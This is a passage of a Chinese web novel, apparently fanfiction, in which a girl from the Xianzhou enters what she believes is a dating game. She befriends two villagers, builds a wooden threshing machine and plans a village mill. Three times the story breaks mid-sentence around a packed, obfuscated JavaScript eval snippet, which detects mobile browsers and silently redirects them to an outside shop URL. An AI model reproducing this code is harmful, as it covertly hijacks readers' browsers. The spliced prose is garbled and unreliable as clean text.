“我不会因为别人的好意就轻易生气,你只是出于善心提醒了一句,反应过度是我的问题,不是你的,对不起。”你说了一个长难句,卡厄斯兰那偏着头想了一会儿才想明白:“你没生气,但你不高兴。” “我很抱歉。”他轻轻叹了口气:“请相信我绝不是有意唐突。” “我当然相信。”说完这句你就不想再开口,任由寂静淡淡蔓延。 反复解释自己的行为是件很消耗精力与耐心的事,很多时候你明知道应该怎样做但就是不想践行这份“应该”,迫不得已会让你感到痛苦,仿佛被巨石压在身上喘不过气。玛塔基尼医生说只要能保持心情平和沉默也不是件坏事,你大可以等到想开口时再开口。 然而这些理由并不能让你在人际交往中感到轻松,尤其眼下这种情况,卡厄斯兰那是个好心人,出于关怀他担心才搬来哀丽秘榭的邻居从村公所二层过低的栏杆上翻出去摔伤。他意识到了危险,他采取行动防范危险,你认为不能因为自己有过不好的遭遇就将这份尚未平息的惊惧愤怒推到眼前这个善良的少年身上。 但你就是不想说话,也不想解释,这让你无法抑制的在心里谴责自己,却又不知道该如何结束这份沉默。 好在这是段主线剧情,很快就有另一个NPC出现打破了这份恼人的寂静。 昔涟从台阶下面慢慢冒出来,粉色的头顶就像只软乎乎的水母。 “你们两个来得好早,”说着她踏上二层平台,“我带了颗超大的苹果,等会儿干完了可以分着吃。” “我也带了,”白发少年翻动口袋,“我带了块干酪。” 口袋空空的你只能假装什么也没发生,低头忙碌的钻研指甲纹路。看来必须得找个机会弄清楚“家”在何方了,这游戏连个背包都不给,玩家甚至无法收集沿途可能出现的物资……当然也许是你启动游戏时姿势不对错过了呼出背包栏的教学关卡。 因欠五百块而惨遭水管女武神追杀这种事,不要啊! “等我收拾好了就请你们来家里吃饭。”你终于抬起头,努力抽动嘴角想要做出微笑的表情示好。 对于一个仙舟人来说,请朋友去家里吃饭绝对是上上款待,相当够意思。 “好啊好啊,”卡厄斯兰那积极响应,快乐得活像只成精的白毛拖鞋——你是说那种毛茸茸的幼年宠物犬:“需要帮忙吗?整理家务也是很繁重的工作,你自己一个人住能忙得过来么?” “搬了新家总要在新房子上做些点缀,不如安排在忙完农活之后,”昔涟双手交握,“话说你是从哪儿搬来的呀,你去过很多地方吗?” 你再次感叹这游戏拟真度实在是太高了,自由度也出乎意料。怪不得大脑与人格尚未发育完善的未成年人会被限制进入,真的很难分清楚虚拟与真实之间的界限。 这么多问题你一个人实在难以招架,只能先选择补完设定:“我之前住在斯库沃波利斯,遇到了一些事,所以……” 还好脑子转得够快,不然就要露馅了。 斯库沃是庇尔波音特语中“学校”一词的谐音,并非那种甲壳虫一样的全自动智能清洁单元,而“波利斯”则是城池的意思,在翁法罗斯的语言系统中作为后缀出现。你无法向一串数据解释什么是仙舟联盟,自然也不必老实说出罗浮的名字。 究竟遇到了什么事才不得不从理论上的繁华城市搬到偏僻乡村你一时还没想好,好在有人帮忙补充。 “我知道,是遇上了黑潮吧?村长提到过,外面越来越危险,”昔涟温柔的看着你:“你一定被吓坏了,哀丽秘榭是个宁静的小村庄,这里与世隔绝,很安全。” “而且我可以保护你们,来到这里就不用再害怕了。”白发少年就像是生怕被落下那样努力往橘子瓣里挤,为了不让他产生“橘外人”的被排斥感,你抬起头认真看着他:“谢……嗯。” 这回可没有客气了哦,你在心里这样想。 举起胳膊想要展示肌肉和力量的少年仿佛老旧机械年久失修那样卡在原地,嘴巴里发出一连串无意义的拟声词。 “嗯……啊……嗯……那个……” 说话的功夫你和昔涟已经转头走到图书室门口了,没人留在原地陪他罚站。 推开嘎吱作响的木门,随着空气流通书籍特有的气味混合着灰尘扑到鼻尖前。昔涟走进去看了一圈,转过身对你微笑:“还好,比我上次来整理时要整齐多了。” 说着她捡起本赞美诗看看封面,一把将它塞进书柜:“刻法勒的祭司写的。” 你知道刻法勒是什么,翁法罗斯世界观中的背景板神明,背负一切的泰坦。这个末世的环境中除了普通人还存在死去的神明与即将成为神明的人,后者统一的特征是体内流淌着金黄色的血液。当然了,血液可以是蓝色绿色黄色彩虹色,自然也可以是金色,反正它只要不是红色就能过审。 “你喜欢哪位泰坦?”昔涟拿起另一本书,你不再观望,上前帮忙收拾散落在房间各处的书籍:“瑟希斯。” “还有尼卡多利。” 前者给你一种【智识】星神的拟人感,后者就不用说了,我仙舟子民从不与人结下能过夜的仇怨,因为没过夜就已经解决——无论人还是事,纷争泰坦那生死看淡不服就干的气质很有【巡猎】的既视感,必须喜欢。 “哇哦~”昔涟的语气变得抑扬顿挫就像是在朗诵诗歌,“还真是攻击性拉满。” “你呢?”你希望这段对话能多一些,方便更快摸清楚可攻略NPC的喜好。 “她喜欢欧洛尼丝,岁月的泰坦,将来也想成为欧洛尼丝的祭司。”卡厄斯兰那从外面走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940494|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来,你们两个一起扭头看向他,昔涟鼓起腮帮子:“你怎么抢了我的台词?” “嘿嘿!”少年一把从你怀里抱走好几本书,轻轻松松把它们塞进书架顶端。你发觉气氛有些危险,匆匆忙忙开口道:“该你说了,卡厄斯兰那,你喜欢哪位泰坦。” “其实你也可以喊我白厄的,因为我有一头白色的头发。”他看向你,然后笑嘻嘻的朝昔涟眨眨眼:“不要生气嘛。” “这家伙无所谓哪位泰坦,他只想出门去看看,去奥赫玛、神悟树庭,甚至悬锋城。”昔涟以牙还牙的掀了伙伴台词,卡厄斯兰那同样从她怀里也抢走了几本书:“但你只想去雅努萨波利斯。” 雅努萨波利斯是雅努斯后面又加了个后缀的变体,祭祀门径泰坦的神殿所在地。门径泰坦、岁月泰坦,还有律法泰坦号称命运三姐妹,连祭祀她们的神殿也连在一处。 然后这两个人一起看着你:“除了斯库沃波利斯,赫柏你去过奥赫玛或者其他城邦吗?” 那当然没有,出生点哀丽秘榭的地图到现在还有一大半是灰的呢。 你摇摇头:“没有,斯库沃波利斯的人都不怎么爱出门,只要提供足够的书,绝大多数人一辈子都不会离开。” “听上去真可怕,”坐不住的卡厄斯兰那花容失色,“你们竟然不会觉得闷?” 闷什么呀,专业书看完了吗,读书笔记写完了吗,论文提交了吗,学分攒齐了吗,社会实践、志愿者和跑步锻炼的时长凑够了吗。 你笑而不语,走到门板生锈的合叶前定睛观察。 太阳光照在树冠上的夹角走了约摸十度,昔涟和卡厄斯兰那把图书室内所有的书籍统统归位,扫了灰尘,整理了地面,清出一堆不知道什么时候钻进来的飞蛾——这些不请自来的客人干巴巴硬邦邦的藏在各种缝隙里,把它们弄出来花了很多时间。 而你则动手修好了那扇嘎吱作响的木门,连同窗户一起,它们现在都变得既安静又丝滑。 “好了,我敢说,忒里斯大叔要是看到这一幕绝对会感动得痛哭流涕。”卡厄斯兰那叉腰欣赏劳动成果,昔涟也叉着腰:“没错,哀丽秘榭终于迎来了它聪慧的医者,亲爱的赫柏,你让图书室的门窗重获青春!” “你们总是这样双胞胎似的一句接一句说话吗?抱歉,我很好奇,你们……是姐弟?” 你真的很好奇,明明他们两个长得一点也不像,无论是身高脸型还是配色抑或审美差别都很大,却有一种很难解释的默契存在。 “为什么不是兄妹?”卡厄斯兰那瞪大他那双高透琉璃似的蓝眼睛,你被那片蓝色逼得一滞:“……” 重点是这个么? “当然不是,”昔涟挽住你的胳膊向外走:“因为整个村子里只有我和这家伙的血是金色,所以我们从小到大总在一起玩。顺便说一句,你没猜错,我就是比他成熟比他年长。” “但你没我高,”白发少年两步就追了上来,“我们把苹果分了吧?我来掰,我力气大!” 昔涟变戏法似的从衣服里“变出”一颗红透了的大苹果,它真的很大,大到你难以想象它之前究竟被藏在哪儿。 从村公所到卡厄斯兰那家这一路上,你吃到了本地产的苹果和本地产的奶酪。平心而论,全都是古老的品种,观赏与科研的价值大于食用效果,但食物的滋味往往并不完全与甜度挂钩,它们带来的满足感以及慰藉是户籍上只剩你一个活人后再也没有过的馈赠。 11.第 11 章 卡厄斯兰那的家位于村子东部,紧挨着一大片麦田。大小不一的石块压着路边的田埂,总有倔强的草籽埋在灰尘中也能萌发。它们就这样徜徉在金色的阳光下,笔直的茎秆就像刚刚拿到毕业证正踌躇满志的毕业生。 稻草人规规矩矩站在麦田里与鸟雀和平共处,微风吹得麦浪此起彼伏。 “每年这个季节的蜜饼都是最好吃的,新麦子嘛,哈哈哈哈……”白发少年走在前面,你和昔涟并排走在后面——田埂就这么宽,三个人没法挤在一起。 “前几天村长忒理斯大叔刚收割过蜂箱,你来得正是时候。”少女背着手,微微侧仰的脸颊就像白里透着粉的蜜桃。 你喜欢甜食,却对以庇尔波因特风为代表的点心敬谢不敏。那不是请人品尝丰收的喜悦,那是打算把客人活活溺死在糖浆里。面对发出邀请的热情NPC,你决定回答得尽量谨慎些:“啊,嗯,嗯嗯。” 万一对方端出一盘需要蘸着糖浆吃的糖油混合物,你是吃……还是不吃? 作为天人族你爆发急性胰腺炎的概率不大,但牙齿不一定能扛得住如此沉重的打击。 牙医,很可怕,哪怕到了星际时代也是如此,你有理由相信这个游戏里同样存在去见牙医才能获得的“勇者”成就。 “需要做什么?”你没干过农活,望着这片金灿灿的麦田颇有种无处下手的窘迫。谢天谢地麦子已经成熟,不至于让你说出“韭菜长得真结实”这种注定招来嘲笑的话。 “爸爸妈妈一会儿会把麦子割倒,我要把它们打包捆成捆儿运去门口晾晒,你和昔涟……你们两个看风景,或者捡点儿麦穗咱们等会儿烤着吃。” 少年踌躇片刻,给了两位女士一份三岁以上就能胜任的工作。 昔涟受限于身高这是可以理解的,你上下看看自己,没做声。 “奥妲塔,希洛尼摩斯,下午好。”昔涟直接称呼好友父母的名字,你忍住诧异默默观察。没有人对此表示愤慨或疑议,由此可以看出游戏的制作者那完全偏向庇尔波因特的生活习惯。 当然了,这也可以理解为背景有意提示玩家NPC昔涟与NPC卡厄斯兰那特别熟,可以把他的父母当成自己父母看待的那种熟。但问题是在一个联盟人的眼里,哪怕孩子也没有谁会把父母名字挂在嘴上来来回回过,几千年前人们甚至还要专门写错几笔用来避开父母名讳。 这大概就是文化上的壁垒,就算联觉信标能让人们无缝沟通也改变不了这个。 “啊,嗯……”你犹豫了一会儿,小声对站在麦田里的夫妇二人打招呼:“两位好,我是刚刚搬来哀丽秘榭的赫柏。” 如果不是卡厄斯兰那有一头和奥妲塔一模一样的白发,真的很难想象如此平凡普通的夫妻居然能生出精致到独属于另一个图层的儿子。 他们两个就像统一建模的那种NPC,随机更换发型发色瞳色以及着装就能复制粘贴出一大片。 “哎呀!”奥妲塔放低手里的镰刀,拍拍衣服嗔怪的瞪了儿子一眼:“带朋友来家玩也不提前说一声!” 她光着腿站在田中割麦,草碎飞舞,麦秸倒在手边。 “没关系的妈妈,”卡厄斯兰那傻乎乎的挠挠后脑勺,“干完活儿我和昔涟一起去帮赫柏收拾屋子,不会待太久。” 奥妲塔就像拉帝奥教授看到一张绝望的试卷那样用眼神从头到脚把儿子嫌了个遍:“你这蠢货!” 希洛尼摩斯站在更远一些的地方,父子两个挠后脑勺的动作如出一辙:“留下来吃晚饭?今天有新收的麦子。” 他看向妻子征求她的意见,奥妲塔差点朝天翻白眼。 “都留下吃饭,等会儿我就去磨些新麦粉。” 你:“……” 这样是不是太麻烦了?绝没有嫌弃的意思,仅从这种低下的劳动效率看奥妲塔想喂饱自己很大只的儿子就已经非常不容易了,计划外的客人完全是种负担。 慌乱中你埋头跳下田埂,照着希洛尼摩斯刚才的样子将割倒的麦穗推成一卷,顺手拿起旁边搓好的草绳三下五除二将它们捆扎结实,然后扛起来若无其事的转移话题:“放到哪儿?” 昔涟:“……” 卡厄斯兰那:“……” 奥妲塔:“……” 希洛尼摩斯:“……” 这捆,不对,这卷麦子直径已经快要比赫柏本人还高了,Duang大一坨压在细细瘦瘦的女孩肩头,视觉冲击力堪比直面泥石流。 “我有哪里做错了吗?”被人直勾勾盯着并不是一种好体验,你抓紧肩头的重物左右为难,好在这一年以来已经习惯了面无表情,无论多慌至少看上去总是气定神闲的样子。 忙点好,还是忙点好啊! 昔涟收回她忽然变得火热的目光:“没什么,亲爱的你实在是太厉害啦~” “跟我来,走这边。”少女的裙摆就像轻盈的蝴蝶,你赶忙扛着一大捆麦子追上去,完全没注意到卡厄斯兰那呆滞在原地瞠目结舌。 “傻了吧?”奥妲塔又是摇头又是叹气,“亏你想得出来,邀请女孩来帮家里收麦子?你怎么不买把剑送给她称兄道弟?” “我不是,我没有,但是……”卡厄斯兰那可疑的停顿,“好像也不是不行?” “啪!” “怎么了?”视线被肩头重物挡住,你看不到身后发生了什么。昔涟抿嘴微笑:“一位绝望的母亲正在试图手动挽救儿子的智商。” “……”真是一颗好头,拍起来声音是如此清脆,你悄悄勾起嘴角:“哦。” 她把你领到一栋木石结构的传统屋舍前,平地已经打扫得干干净净,安静等待每年一度的重要工作。哀丽秘榭的居民似乎不需要缴纳赋税,耕种只为自给自足。这和“它”与世隔绝的设定非常吻合,不过在你看来游戏制作者多少有几分理想化——这世上只有人类到不了的地方才不需要交税,不然就是神明也逃不开税务局犀利的眼神。 “小心些。”你示意昔涟稍微站远点儿,然后才把肩膀上扛着的麦子捆放下来,左右张望寻找工具。 没干过农活也不耽误你以符合常理的逻辑进行推断,还连在麦秆上的麦子是不可以直接下锅烹饪的,姑且先不论人类能不能嚼得动那金灿灿的植物茎秆,就算能嚼动纤弱的肠胃恐怕也承受不住如此虐待。 “就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946488|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么硬晒?”找了一圈也没找到任何长得符合脱粒气质的工具,你把希望寄托在昔涟身上,“万一下雨了怎么办。” “额……”粉色头发的少女难得语塞,她疑惑地看着你:“不然呢?这个季节哀丽秘榭不会下雨。” 这是会不会下雨的问题吗?你在心底捂脸哀嚎,就这么纯人力的辛苦劳作,翁法罗斯事件簿真的是乙女向恋爱游戏(加粗加黑)而不是星际和平公司赞助的变形记真人秀么? 正说着卡厄斯兰那和希洛尼摩斯一前一后的也扛着两大卷麦子走过来,后者憨厚的笑笑就立刻回转麦田去替□□子劳作,前者晃进自家大门给客人倒水端水果。 “麦田里太热了,还有小虫子,你们在这儿坐一会儿哈。”他端出一张几乎赶上桌面大小的盘子,里面堆满葡萄和无花果。你对水果兴趣不大,倒是有点发愁麦穗脱粒的问题:“你家里有工具吗?锤子锯子凿子之类……放干的木头呢?” 徒手拼体力太辛苦了,你都觉得不容易,普通短生种做这些更难,完全是在透支未来的生命力。 “有是有,你要那些干嘛?”白发少年蓝色的眼睛里充满不解。 如此简单的因果关系只要有眼睛就能看出来,你实在懒得解释:“拿给我。” “哦!”卡厄斯兰那在昔涟揶揄的目光中乖乖搬出自家工具箱,你凑上前翻翻,又从他家的杂物棚里挑了几块木头。 作为一个智慧生物,不会使用工具制造工具实在是件令人匪夷所思的事。哪怕游戏的制作者想要向你展示一个淳朴天然且相对原始的村子,这种设计思路与表现手法也略有些过时了。 卡厄斯兰那没有留下休息,招待客人简简单单吃个水果他就也跑回农田继续来回忙碌,直到麦田里的收获全部搬到自家门口的晒谷场上才停下,而你也利用这段时间做出了一架木质简易脱粒机。 “把麦子塞在这儿,不要一下子塞得太多太满。一个人站在上面踩踏板,滚筒来回拍打就会将成熟的麦粒拍下来,然后……”你演示了一下怎么塞怎么踩,跳下踏板弯腰从滚筒中抽出内嵌结构,“脱下来的麦粒都在这里,如果不放心可以多滚几次,再在下面垫一层草垫方便捡拾漏网之鱼。” 完全没有意识到把恋爱游戏玩儿成了我爱发明,你对赶来学习如何使用新工具的奥妲塔和希洛尼摩斯道:“我建议今年农忙结束后哀丽秘榭抽人合作在海边建立一座磨坊,流水和风都是很好的能量,这样一来你们就无须在脱粒和磨面粉的事情上花费太多力气。” “我这就去找村长,”希洛尼摩斯明白这件事的重要性,沉默寡言的男人清清嗓子看向儿子:“卡厄斯兰那,好好招待你的朋友们。” 他交代的太郑重了,这让你很有些不好意思。 “我去烤一炉蜜饼,千万不要推辞!”奥妲塔已经完全把儿子抛到脑后去了。这小子很体贴家人,但他的体贴并不能像脱粒机和磨坊那样让父母从重体力劳动中解脱出来,比起能让大家在农忙季节省时省力的新村民他现在还不如一条海鱼有用。 至少海鱼能烤熟了款待客人,而不是让第一次来家里做客的客人扛着麦捆走来走去干力气活。 12.第 12 章 奥妲塔烤出来的蜜饼好吃到出乎意料。原料基础搭配就不基础,它没有你想象的那么甜,酥酥脆脆蘸着蜂蜜,配合不加糖的酸奶,一口甜一口酸虽然没有甜咸永动机那么上头但也足以让人停不下来。 你坦率又自然的连啃六张巴掌大的蜜饼还舀空了一碗浓稠酸奶,擦手擦嘴起身出门去看那台脱粒机干得如何——半个村子的农人都聚在卡厄斯兰那家的院子里,围着那台木质脱粒机又是摸又是看。 “这就是刚刚从斯库沃波利斯搬来哀丽秘榭的赫柏,这台脱粒机也是她造的。”所有人都等他先开口,所以这人应该就是昔涟提到过的村长忒理斯——希洛尼摩斯刚刚说过他要去找村长,不难推理。 令你感到好奇的是这游戏背后的算法,不久之前你对昔涟说过的话现在村长就知道了,仿佛有人在幕后将这个消息悄悄传给他。 男人指指脱粒机又指指走出来的你,一群人高马大肌肉发达的壮汉带着淳朴憨厚的表情咧嘴示好。 自从差点在学校星舰上被好心帮助过的人摸走证件后你就再也不相信“憨厚”这两个字了,这些农人笑脸相迎的前提是你带来了足够的利益且这份利益无法用蛮力夺走。 除了合作他们别无选择。 地面上堆着小山般的麦秸,谷子堆在小院正中间。如果没有机械帮助,只是翻动这堆谷子方便更好晾晒就够一个成年男性辛辛苦苦忙上半天。 忒理斯村长清清嗓子:“赫柏来了,大家不如听听她怎么安排。” 目前脱粒机只有一台,还明确归属于希洛尼摩斯一家,谁也不想招惹奥妲塔的丈夫和儿子……相比之下还是指望机器的制造者更有盼头。 “铁匠是哪位?”你向来讨厌景元那种官腔加谜语的说话方式,此刻身在游戏里就更没必要迂回绕弯,不如有话直说。既然之前听到过捶打敲击金属的声音,那就意味着这个村子一定设计了铁匠NPC。 自给自足,铁匠作为生产工具的制造者天然就有着重要地位。 “算不上工匠,但我确实可以帮大家修修锄头铲子什么的。”一个矮墩墩但手臂肌肉极其发达的树桩子举起手。 这人完全符合你对域外冒险小说中铁匠的刻板印象,胡子眉毛头发毛茸茸连在一处几乎找不到眼睛和嘴巴在哪里。 有铁匠在说明翁法罗斯至少掌握了冶炼技术,文明已有相当积累,建造磨坊就是件可以实现的事儿了。 你看向忒理斯大叔:“每家每户的代表都在这里?” 村长点头:“是的,关于你修建磨坊的建议,我认为很有必要,不用等到农忙彻底结束后,这几天就可以准备起来。” “哦,”你无心抢夺他对村子的管理权,只是不想种地还能有粮吃——玩个游戏也要上学就已经够苦的了,竟然还得依赖体力以原始手段靠天吃饭……这游戏上市后真能卖得出去么? “我可以画设计图,给出建造方案,告诉工匠如何准备材料打造零件,甚至包揽之后的维修工作。但知识不是无偿的,我也没有义务免费去做对自己没有任何好处的事。”你把收费的大前提摆在最前面,农人们的表情变得惴惴不安。 “据我所知,神悟树庭的学费可不便宜,别的地方也好不到哪儿去。”一道声音从人群外传进来,大家的脸色瞬间恢复自然。 “这很好理解吧,求学是件既消耗精力又消耗财力的事儿,好不容易学成出师当然要把本钱赚回来,有问题吗?” 你回头看了眼说话的卡厄斯兰那,白发少年笑嘻嘻冲你挥手:“我可以帮忙,我力气大!” 昔涟也笑嘻嘻的:“我也来,我擅长书写和画画。” “看在你们的份儿上,精面三十取一。”你看向哀丽秘榭的农人们:“按照市场通行规则,磨坊的收费标准多是十取一,还有十取二三的。但昔涟和卡厄斯兰那说服了我,所以使用磨坊的费用降到能够让我吃饱肚子就行。” 忒理斯村长及时补充:“赫柏是新搬来的,村子里没有土地可以分给她,一个年轻姑娘总要吃喝生存,我看这样挺好,今后磨坊要是损坏了还得她来修。” 磨好的精面三十抽一,但是可以省下大把力气,哪怕无所事事躺着也很值得。最重要的是自家打谷碾磨一样会有损耗,甚至远远高于这份报酬。 农人们纷纷点头表示同意,很快就有年轻活泼的声音冒出来:“咱们什么时候开始干?我真是烦死晒麦子打麦子磨麦子了。” 面粉烤出来的饼香脆可口,收获麦子直至加工成面粉的过程堪称折磨,这一点所有干过农活的人都深有体会。 你镇定的对他们道:“明天一早,我得先把计划做好给村长看过。愿意出力的请到村公所空地上集合,不愿意也没关系,我不勉强。” 村长先生挺了挺腰板,作为及时得到消息后投桃报李的回馈,他看看希洛尼摩斯与奥妲塔夫妇:“就让卡厄斯兰那跟着赫柏帮些忙,你家也不用额外出人了。要知道在外面修建一座磨坊不但要掏使用费还得掏建造的费用呢,赫柏都没提这件事。”奥妲塔家里有一台可以自用的脱粒机,大家肯定要羡慕的,还是得转移一下村民们的注意力。 听闻能省下大把利衡币,村里人的表情从普普通通的喜悦一下子变得喜出望外,大家就算数学再烂也能品出这两个数字之间的差距。原本觉得又要出力将来还不能免费使用磨坊有些委屈,现在算来新村民明明可以只拉上希洛尼摩斯一家大赚特赚的,但她却没有这样做。所有人都参与此事,唯一的代价是供给一个瘦伶伶姑娘的口粮……赫柏一个年轻女孩儿能吃多少粮食?省下的力气和时间可全都是自己的呀! “好的好的,明天……忒理斯你还是敲敲钟吧,我们听到钟声就从田里赶过去。” 积极性高涨的农人们比对待庆典还要郑重的对村长道:“小赫柏还得上学呢,随意逃学皮西厄斯老师会让她在教室外面罚站。” “哈哈哈,就像上课折腾木头兵人的卡厄斯兰那。” 村子不大人头都熟的后果就是从小到大所有糗事无论哪件都瞒不住,白发少年露出呆滞的表情:“怎么还有我的事儿?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960073|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大家嘻嘻哈哈一哄而散,昔涟拉着你比划磨坊设计图,没人搭理直挺挺站在那里的傻小子。 “欸?欸?”他左看看右看看,奥妲塔从后面经过时又给了儿子一掌:“你们不是说好了晚上帮赫柏收拾屋子吗?赶紧干活去。” “啊?哦!”卡厄斯兰那转身拿了些打扫卫生的工具,等他再回来你已经在昔涟的日记手账上画出一个简单的磨坊结构图。 真的很简单,涡轮、叶片、轴承、石磨,传动……外加一个遮风挡雨的棚子,想要复杂可以后期慢慢添加新。 “咱们出发吧?”他只看了一眼就立刻从复杂的计算公式上移开视线,昔涟收起手账本表示同意:“对对,早点动手早点收工。” 你:“……” 至今仍不知道家在何方,这破游戏真的不考虑给玩家加载个地图什么的吗? “好,”你谨慎的只吐出一个字,站在原地和NPC们大眼瞪小眼。昔涟疑惑的侧着头:“你怎么了?不舒服?” “……”你福至心灵的点头,“对,刚才话说得太多,岔气儿了。” 这样一来不就可以让NPC走在前面领路一点也不可疑的找到自己家了么! 粉头发少女笑出“吃吃”声:“哎呀,赫柏你也太可爱了叭。” 可爱?这个词和你的关系一直都不怎么大,勤奋、好学、聪慧、古怪、孤僻,以及疑似魔阴身早期……这些才是贴在你身上的标签。但你确实面临着一个重大的逻辑问题,为了不露馅只能默认这只粉色箭头。 “怎么会岔气儿呢,肚子疼得厉害吗?”卡厄斯兰那绕到你面前弯下腰仔细看看你的脸色,踌躇着犹豫了一会儿后下定决心,“要不你今天就先住我家好了,我和昔涟去帮你收拾屋子,等你好了再回去住。” “不,问题不大,我可以走慢些。”你一点儿也不想住在NPC家,不然该怎么解释某个时间节点上突然神秘消失(下线)又突然神秘出现(上线)? 这些NPC聪明得和真人一样,傻得也和真人一样,需要拿出对待正常碳基生物的态度对待他们。 你的语气是如此坚定,卡厄斯兰那充分吸取上午把你从栏杆前拖回来却惹你不高兴的教训,伸手行动前先行询问:“那,我抱着你走?别介意哈。” 你:“……” “要不你就先在卡厄斯兰那家住一晚,或者住几天也行,他家有空房间。”昔涟很是时候的火上浇油,被人掀了屋顶的你迅速调整计划准备开窗。 “我可以走,只是岔气儿又不是瘸了。”哪有第一天见面的人就近距离身体接触的?剧情设置也不行! 按照一般人类的行动轨迹推演,进入游戏时身处的田野离“家”不会太近,如果很近设定上经常在那附近钓鱼的卡厄斯兰那就极有可能见过你,甚至见过数次,那么他就不该在上午做出完全陌生的反应。 所以那应当是你从“家”去往村公所学校的途中,偶遇了逃课在海边钓鱼的少年。 逆推回去至少能推出“家”所在的大致范围。 13.第 13 章 黑发少女安静的走在身侧,卡厄斯兰那一边看路一边悄悄看她。从这个角度观察,她鸦羽般黑亮的头发下只能看到线条流畅秀气的额头、精致挺拔的鼻梁,和小扇子一样的睫毛。翕动的睫毛仿佛蝴蝶收束又展开的翅膀,遮住了湖绿色的眼睛。 咚、咚、咚…… 他听到自己心跳的声音越来越大,赶忙偷偷深吸一口气又慢慢呼出去,生怕被昔涟发现端倪进而大肆揶揄——在哀丽秘榭这个与世隔绝的小村子里,新来的女孩儿像是注入平静湖泊的一股清泉。 在少年眼里她象征着遥远新奇的外界,只是存在就让人忍不住想去探究。 偏偏她又异于常人的安静,就好像随时可能隐没于海上迷雾中那样。 阳光透出云层照射在远处的海面上,背后映衬着这片粼粼波光的赫柏是个真实存在的姑娘吗? 应该是的,某种意义上而言她相当具有存在感。 虽然这么想有点过于亲昵了,但他还是默默认为她可以生得再结实健壮些。是啦,她扛麦子的姿势很帅力气也出乎意料的大,但这家伙套在身上的衣服空空荡荡随风起伏看上去让人很是担心,她就像是刚刚经历过世界上最悲伤的事那样,漂亮的绿眼睛里总是蒙着层灰雾。 她一定在黑潮灾难中失去了很多很多重要的人吧,所以才会孑然一身来到哀丽秘榭,说话时也总是一副漫不经心的模样,时不时陷入让人不安到窒息的沉默。 她在想什么?是在怀念逝去的亲友吗?还是在为一路上的颠沛流离感到疲惫? 他衷心希望哀丽秘榭能治好她藏在心里的伤。 赫柏走到田埂分叉的地方忽然停下,卡厄斯兰那一直看着她,此刻顺着她的视线向下,一只圆滚滚刺茸茸的灰白杂色小动物正匍匐在排水沟底部迅速蠕动——腿太短,跑起来也跟蛄蛹似的墩墩墩。 “瞧,这里有只刺猬。”他飞速蹿上前一脚挡住刺猬的去路,视力不大好的小东西不得不翘起鼻子上下左右的闻。 什么玩意儿蹿出来了? 黑发少女蹲下身盯着拳头大小的野生动物观察:“它身上的灰色圆球是什么?” 野生动物,尤其是这种野生动物的活体,无论罗浮还是第一真理大学的社区里十分罕见。首先它自身性格孤僻体型也小,藏在草丛中很难被发现,其次城市社区里很少有连片荒草给它居住,观赏草坪上更是游人如织,最多只能看到鸟和虫。 以及……幼儿绘本上类似的刺球生物背上不该挂山楂、草莓,或是苹果么?这灰色小圆球怎么越看越像薯蓣豆? “欸?”昔涟也蹲下来挤着一起看热闹,“哇,那是蜱虫,千万别摸。” 她这么一说赫柏的手迅速缩回去,两个女孩儿齐齐盯着白发少年堵着刺猬的那只脚。 卡厄斯兰那据理力争:“我穿着鞋呢!” “被蜱虫叮咬会感染、高烧,甚至死亡,你可千万别不当回事儿呀。”昔涟不赞同的盯着白发少年系带的鞋子摇摇头,他赶忙将脚挪开,刺猬尖尖的鼻子还在空气中扭过来扭过去的嗅。 欸?刚才那玩意儿呢? 正值丰收季节,它要努力将自己吃胖好应对接下来的寒冬。视力不是很好的刺球从不去想那些想不明白的事儿,既然挡在面前的“山”消失了,它高高兴兴顶着几颗土灰色圆豆继续朝前颠。 “它走掉了,嗯,你很喜欢刺猬?”少年看向一直望着刺球的黑发姑娘,赫柏垂下眼睛不像是会出声的模样。但他很有耐心的在她身边等待,等了一会儿,她扭开脸道:“我在想它要怎样储存食物。” “不如我们跟过去看看吧?看看就知道了,来!”他朝她伸出手摊开,少年人掌心已经有了层薄茧,指甲剪得很短,看上去干净且有力,“我知道该去哪儿找它的巢穴。” “来吧?”昔涟背着手站在旁边笑看赫柏,她就像只警惕的绿眼睛小黑猫,被小鱼干的气息引诱却也放不下对人的警惕。 好在我们都是有耐心的人,卡厄斯兰那这样想着坚持了一会儿,赫柏把手放了上来——柔软而温暖,带着些陌生的香气,像晒干后的木头,或是图书室里的书籍……少年有些心猿意马。 为了不让自己做出招人讨厌的事,他反手拉住她的手腕向前走。赫柏侧身看着昔涟,两个女孩的手不知什么时候也粘到了一处,田埂上的三人就像童话故事里黏在鹅屁股后面的伙计那样你拉我我拉她,粘在一串儿追踪刺猬留下的痕迹。 